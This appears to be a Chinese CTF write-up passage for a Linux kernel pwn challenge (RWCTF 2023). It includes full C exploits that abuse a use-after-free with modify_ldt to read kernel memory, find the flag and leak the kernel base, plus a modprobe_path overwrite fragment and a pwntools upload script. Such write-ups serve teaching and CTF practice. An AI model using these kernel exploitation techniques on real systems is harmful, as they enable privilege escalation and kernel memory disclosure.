prepare(); leak(); int64_t target_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base; printf ("[+] modprobe_path addr: 0x%lx\n" ,target_addr); char * target_cont_p = malloc (OBJSIZE); memset (target_cont_p,'y' ,OBJSIZE); memcpy (target_cont_p,"/tmp/x\x00" ,0x7 ); aaw(&target_addr,target_cont_p); return 0 ; }
利用方法3
第三种方法算是一种非预期解(另外几种非预期解:/init权限;qemu启动参数-monitor未重定向到/dev/null),非预期本质原因,是题目使用了initrd作为根文件系统。initrd文件系统启动过程中会被加载到内存中并常驻,而flag的内容就存放在其中。
本题解法可概括成一句话:利用modify_ldt系统调用和UAF漏洞,实现任意内核地址的信息泄露,然后在direct mapping area搜索flag字符串。
利用总体思路如下:
确定page_offset_base的值(nokaslr时是0xffff888000000000 ,开启kaslr时需暴破)
遍历direct mapping area,找到flag字符串所在的地址
读取flag字符串
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <sys/mman.h> #define OBJSIZE 0x10 int g_fd;int64_t g_flag_addr = -1 ;int64_t page_offset_base = 0xffff888000000000 ;struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } void kmalloc_ldt_struct () { struct user_desc desc ; int retval = -2 ; desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; retval = syscall(SYS_modify_ldt, 1 , &desc, sizeof (struct user_desc)); } int main () { g_fd = open("/dev/rwctf" ,2 ); int retval = -2 ; char * buf = malloc (OBJSIZE); memset (buf,'a' ,OBJSIZE); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kfree(0 ); kmalloc_ldt_struct(); while (1 ){ rwctf_ioctl_kfree(0 ); *(int64_t *)buf = page_offset_base; *((int64_t *)buf+1 ) = 0x8000 / 8 ; rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); int64_t testing_buf = 0 ; retval = syscall(SYS_modify_ldt, 0 , &testing_buf, 0x8 ); if (retval > 0 ){ break ; }else if (retval == 0 ){ printf ("no mm->context.ldt!" ); exit (-1 ); } page_offset_base += 0x10000000 ; } printf ("[+] leaked page_offset_base : 0x%lx\n" ,page_offset_base); int64_t searching_addr = page_offset_base; char * recv_buf = (char *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); while (1 ){ rwctf_ioctl_kfree(0 ); *(int64_t *)buf = searching_addr; *((int64_t *)buf+1 ) = 0x8000 / 8 ; rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); retval = syscall(SYS_modify_ldt, 0 , recv_buf, 0x8000 ); char * ret_addr = memmem(recv_buf,0x8000 ,"rwctf{" ,6 ); if (ret_addr != 0 ){ for (int i = 0 ; i < 50 ; i++){ if (ret_addr[i] == '}' ){ g_flag_addr = searching_addr + ((int64_t )ret_addr - (int64_t )recv_buf); break ; } } printf ("[+] Found 'flag{' at addr: 0x%lx\n" , searching_addr + ((int64_t )ret_addr - (int64_t )recv_buf)); } if (g_flag_addr != -1 ) break ; searching_addr += 0x8000 ; } char * flag = malloc (0x50 ); rwctf_ioctl_kfree(0 ); *(int64_t *)buf = g_flag_addr; *((int64_t *)buf+1 ) = 0x8000 / 8 ; rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); retval = syscall(SYS_modify_ldt, 0 , flag, 0x50 ); printf ("flag: %s\n" ,flag); return 0 ; }
以上是我根据参考exp精简后的利用脚本。
参考的exp中,说为了绕过config_hardened_usercopy这个选项,使用了fork子进程的方法来泄露内核地址。但是我写exp的过程中,发现不考虑这个选项也能做出来。甚至我有点怀疑这个安全选项有没有打开,因为我读内核代码段时内核不会崩溃,写内核代码段才会崩溃。可是暂时还不知道怎么通过bzImage确定安全选项是否打开。
进一步探索:泄露内核基址
上面直接用内存搜索的方法找到了flag,其实想想,用同样的方法也能探测出内核基址。
区域
起始地址
最大偏移(猜测)
direct mapping of all physical memory
0xffff 8880 0000 0000
0xfff f000 0000
kernel text mapping
0xffff ffff 8000 0000
0xfff0 0000
探测内核基址:从linux分配的0xffffffff80000000这个地址开始,以0x100000为间隔,进行探测,第一个可访问的点,就是内核加载基址。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <asm/ldt.h> #include <sys/mman.h> #define OBJSIZE 0x10 int g_fd;int64_t g_flag_addr = -1 ;int64_t kernel_text_base = 0xffffffff80000000 ;struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } void kmalloc_ldt_struct () { struct user_desc desc ; int retval = -2 ; desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; retval = syscall(SYS_modify_ldt, 1 , &desc, sizeof (struct user_desc)); } int main () { g_fd = open("/dev/rwctf" ,2 ); int retval = -2 ; char * buf = malloc (OBJSIZE); memset (buf,'a' ,OBJSIZE); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kfree(0 ); kmalloc_ldt_struct(); while (1 ){ rwctf_ioctl_kfree(0 ); *(int64_t *)buf = kernel_text_base; *((int64_t *)buf+1 ) = 0x8000 / 8 ; rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); int64_t testing_buf = 0 ; retval = syscall(SYS_modify_ldt, 0 , &testing_buf, 0x8 ); if (retval > 0 ){ break ; }else if (retval == 0 ){ printf ("no mm->context.ldt!" ); exit (-1 ); } kernel_text_base += 0x100000 ; } printf ("[+] leaked kernel_base : 0x%lx\n" ,kernel_text_base); system("/bin/sh" ); }
其他疑问
initrd(INIT RamDisk)
The initial RAM disk (initrd) is an initial root file system that is mounted prior to when the real root file system is available.
- 摘自 What’s an initial RAM disk?
initrd是一种初始根文件系统,在启动过程中它会被加载到内存中,它可以当作临时根文件系统,用它加载并挂载真正的根文件系统。这篇文章 可以了解到initrd的由来,这篇文章 了解initrd和initramfs的共同点和区别。
linux kernel pwn中,常见到将initrd作为根文件系统的场景,带来便利性的同时也引入了一个问题:文件系统的所有内容都在内存中(包括flag)。而64位架构下,所有的物理地址都会映射到direct mapping of all physical memory
区域(0xffff888000000000 ~ 0xffffc87fffffffff,64TB)。也就是说通过搜索该区域就能找到flag内容。
malloc和mmap的区别
在写内核利用的exp时,看到别人的代码里申请大内存都是用mmap,而我习惯性地用malloc去申请。测试了一下两者在利用时都能成功,所以好奇它们究竟有什么区别,导致其他人都用mmap。
看了文章 及一些讨论过后,决定以后我也要用mmap,总结如下两个点:
一方面,使用mmap的话,更直接一些。申请大内存时,malloc中其实也是去调用了mmap。
另一方面,可以避免glibc操作中的干扰,因为不清楚glibc封装地函数中做了什么操作,是否会出现什么未知问题。
绕过hardened_usercopy
参考文章
利用方法1:第五届 Real World CTF 体验赛 Writeup
利用方法2:2023 RWCTF体验赛 SU Writeup
利用方法3:RWCTF2023体验赛 write up for Digging into kernel 3
开启内核地址随机化KASLR后, qemu 调试 kernel 不能设置断点
1 2 方法1:在qemu启动命令行中,添加nokaslr 方法2:找到内核加载的基址,指定vmlinux加载到基址处
一些操作
精简ELF
写kernel pwn利用程序时,使用gcc静态编译的文件比较大,上传到远程服务器时比较耗时。为了减小文件大小,可以使用musl libc或者uclibc来编译。
以musl libc为例,简单讲一下怎么使用。
做kernel pwn题时,通常需要上传一个编译好的二进制程序到服务器中。在没有ssh的情况下,通常是通过分段编码(base64)的方式,将文件传到服务器中。
上传的操作可以封装成一个简单的python函数,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *ch = b'/ $ ' io = process(['/bin/bash' ,'./praymoon/run.sh' ]) def upload (lname, rname ): print("[*] uploading %s ..." % lname) payload = b64e(open (lname,'rb' ).read()) a = len (payload) // 500 for i in range (a + 1 ): print("[+] %d/%d" % (i,a)) s = 'echo "' + payload[i*(500 ):(i+1 )*500 ] + '" >> %s.b64' % rname io.sendlineafter(ch,s.encode('utf-8' )) cmd = 'cat %s.b64 | base64 -d > %s' % (rname,rname) io.sendlineafter(ch,cmd.encode('utf-8' )) io.sendline("ls" ) upload("./test" ,"/tmp/test" ) context(log_level='debug' ) io.sendlineafter(ch,b"chmod +x /tmp/test" ) io.sendlineafter(ch,b"/tmp/test" ) io.interactive()
内存dump
调试堆喷的时候,经常需要dump内存,所以找了两个封装好的函数。前一个代码量小,只是简单将内存中的数据打印出来。后一个还对每行数据做了offset的标记,并将可显示字符打印出来,类似010editor的效果。
简单版
1 2 3 4 5 6 7 8 void debug (char * buf,int len) { for (int i=0 ;i<len;i++){ if ((i%8 ==0 ) && (i!=0 )) printf (" " ); if ((i%16 ==0 ) && (i!=0 )) printf ("\n" ); printf ("%02X " ,buf[i] & 0xff ); } printf ("\n" ); }
详细版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #ifndef HEXDUMP_COLS #define HEXDUMP_COLS 16 #endif void hexdump (void *mem, unsigned int len) { putchar ('\n' ); for (int i = 0 ; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0 ); i++) { if (i % HEXDUMP_COLS == 0 ) { printf ("0x%06x: " , i); } if (i < len) { printf ("%02x " , 0xFF & ((char *)mem)[i]); } else { printf (" " ); } if (i % HEXDUMP_COLS == (HEXDUMP_COLS - 1 )) { for (int j = i - (HEXDUMP_COLS - 1 ); j <= i; j++) { if (j >= len) { putchar (' ' ); } else if (isprint (((char *)mem)[j])) { putchar (0xFF & ((char *)mem)[j]); } else { putchar ('.' ); } } putchar ('\n' ); } } putchar ('\n' ); }
其他利用方法
USMA
blackhat - USMA: Share Kernel Code with Me
USMA:用户态映射攻击
DirtyCred
DirtyCred: Escalating Privilege in Linux Kernel
Cautious! A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe
简单介绍 - Dirty Cred: What You Need to Know
DirtyCred官方示例